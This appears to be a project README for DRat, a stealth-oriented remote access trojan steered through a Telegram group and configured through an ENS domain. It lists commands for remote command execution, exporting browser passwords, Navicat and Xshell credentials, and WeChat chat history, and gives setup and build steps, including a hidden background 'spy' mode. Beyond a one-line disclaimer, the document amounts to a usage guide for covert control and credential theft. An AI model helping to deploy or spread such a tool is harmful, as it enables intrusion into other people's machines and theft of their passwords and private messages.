Introduction

DRat is a cutting-edge Decentralized Remote Administration Tool (RAT) designed to enable remote control and configuration distribution without relying on centralized servers or configuration hosts. Leveraging the power of Ethereum Name Service (ENS) for decentralized config delivery and Telegram for serverless communication, DRat redefines stealth and efficiency in remote administration.



Supported Platforms

  • Windows
  • Linux (Submit an issue for other tested systems)
    • Ubuntu 22.04 ✔️


Key Features

Serverless Control

DRat operates without a dedicated server. Simply send commands through a Telegram group to execute remote control seamlessly.

Built-in Proxy

Due to Telegram’s access requirements, DRat comes with an integrated proxy, ensuring hassle-free connectivity.

ENS-Based Configuration

Utilize decentralized ENS for secure and efficient configuration file distribution.


Command List

Command

Function

Status

/help

Display help

✔️

/rce start

Start RCE session

✔️

/rce stop

Stop RCE session

✔️

/rce

Execute command (auto-starts RCE if not active)

✔️

/sysinfo

Retrieve system information

✔️

/restart_drat

Restart DRat

✔️

/shutdown_drat

Shut down DRat

✔️

/dump_navicat

Export Navicat connection info

/dump_xshell

Export Xshell connection info

/dump_browser

Export browser passwords

/download

Download file

/upload

Upload file

/wechat info

Retrieve WeChat info

/wechat history

Access WeChat chat history and contacts

Got more needs? Submit an issue on GitHub!


Getting Started

Clone the Repository

git clone https://github.com/SpenserCai/DRat.git

ENS Domain Registration

  1. Install MetaMask and create an account.
  2. Obtain testnet tokens via Goerli Faucet.
  3. Switch MetaMask to the Goerli Test Network.
  4. Register an 8-character ENS domain at ENS Domains.

Configuration File

The configuration file follows this format:

{

    "TELBOT_TOKEN": "",

    "TELBOT_CHAT_ID": 1234567890, // Telegram group ID (omit the '-')

    "CLASH_CONN_STR": "proxy_type:address:port:encryption:password:udp_support", // Obtain from Clash

    "LOCAL_PROXY_PORT": 7890,

    "ENS_DOMAIN": "" // ENS domain updates not supported yet

}

Option 1: Automated Config Upload

Use the DRatConfig tool to encrypt and upload your configuration automatically. All you need is a registered ENS domain.

Option 2: Manual Config Upload

python encode_config.py  

This generates an AES-encrypted string. Copy and paste it into your ENS domain’s description field at ENS Domains. Save and wait for the configuration to propagate.

Compilation

# 'cli' for debug mode, 'spy' for background execution

# Windows

python build.py  cli windows

# Linux

python build.py  cli linux

Testing

Run the program and test commands in your designated Telegram group.


Disclaimer

This project is for educational and research purposes only. Use at your own risk.


Source

GitHub Repository